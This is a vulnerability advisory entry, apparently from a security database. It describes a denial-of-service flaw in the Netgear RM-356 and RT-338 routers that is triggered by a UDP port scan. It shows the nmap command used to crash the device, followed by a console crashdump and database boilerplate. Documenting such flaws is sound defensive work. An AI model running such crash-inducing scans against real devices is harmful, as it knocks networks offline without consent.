VAR-200212-0204
Vulnerability from variot - Updated: 2023-12-18 14:02Netgear RM-356 and RT-338 series SOHO routers allow remote attackers to cause a denial of service (crash) via a UDP port scan, as demonstrated using nmap. RM-356 is a hardware router developed by Netgear, suitable for home or small office networks.
UDP scanning will crash RM-356 and RT-338. A cold boot is required to return to normal.
# nmap -sU 210.9.238.103 -T5
At this time, a crashdump occurred on the RM-356 console, and the information is as follows
Menu 24.2.1-System Maintenance-Information
Name: * _ netgear
Routing: IP
RAS F / W Version: V2.21 (I.03) | 3/30/2000
MODEM 1 F / W Version: V2.210-V90_2M_DLS
Country Code: 244
LAN
Ethernet Address: 00: a0: c5: e3: **: **
IP Address: 192.168.0.1
IP Mask: 255.255.255.0
DHCP: Server
CRASHDUMP ::
54f7a0: 00 54 f7 a8 00 21 e9 38 00 54 f8 10 00 21 e9 38 .T ...!. 8.T ...!. 8
54f7b0: 00 00 00 07 00 41 37 bc 00 2b 09 ca 00 00 00 00 ..... A7 .. + ......
54f7c0: 00 55 24 4c 00 2b 09 b2 00 00 00 00 00 55 24 4c .U $ L. + ....... U $ L
54f7d0: 00 00 00 05 00 00 00 00 00 21 16 24 00 57 26 04 .........!. $. W &.
54f7e0: 00 58 5e e8 00 21 16 24 00 00 26 04 00 21 16 24 .X ^ ..!. $ .. & ..!. $
54f7f0: 00 41 20 00 00 54 f8 10 00 21 ea 34 00 41 20 00 .A ..T ...!. 4.A.
54f800: 00 00 00 07 ff ff ff ff 00 54 f8 10 00 21 e6 6e ......... T ...!. N
54f810: 00 54 f8 2c 00 21 e6 6e 00 41 37 bc ff ff ff ff .T.,.!. N.A7 .....
54f820: ff ff 20 04 00 5e 2e 60 00 40 f7 20 00 54 f8 68 .. ^. `. @. .T.h
54f830: 00 21 b0 00 00 00 00 01 00 2b 09 ca ff ff ff ff.! ....... + ......
54f840: 00 00 00 07 00 2b 09 b2 00 5e 2e 60 00 00 00 00 ..... + ... ^. `...
54f850: ff ff ff ff 00 00 00 00 00 00 00 00 00 54 f9 9c ............. T ..
54f860: 00 5e 2e 60 00 00 00 00 00 54 f8 a8 00 21 a8 1a. ^. `..... T ...! ..
54f870: 00 00 00 07 ff ff ff ff 00 5e 2e 60 00 00 00 00 ......... ^. `...
54f880: 00 00 00 08 00 00 00 00 00 00 00 21 00 00 00 24 ...........! ... $
54f890: 00 00 00 00 00 54 f9 9c 00 5f ec d0 00 55 24 4c ..... T ..._... U $ L
54f8a0: 00 55 24 4c 00 5e 2e 60 00 54 f8 fc 00 23 b8 42 .U $ L. ^. `.T ... #. B
Boot Module Version: 4.40. Built at Wed Feb 23 14:00:29 2000
But TCP connect () scans normally.
It is worth noting that even if SNMP 161 / UDP is not open, the above scan will also cause a crash. Problem possible
In the filtering code. Most SOHO Netgear devices have a simple filtering mechanism. It is maintained and distributed by Netgear. Under some circumstances, a portscan of the router could cause a denial of service. It has been reported that portscanning a RM-356 with UDP causes the router to become unstable. This is usually accompanied by a crash, requiring a power cycling of the router to resume normal operation. It is also reported that this problem seems to affect port 161/UDP (SNMP) specifically. This problem has been reported to also affect the RT-338 models, and may affect others
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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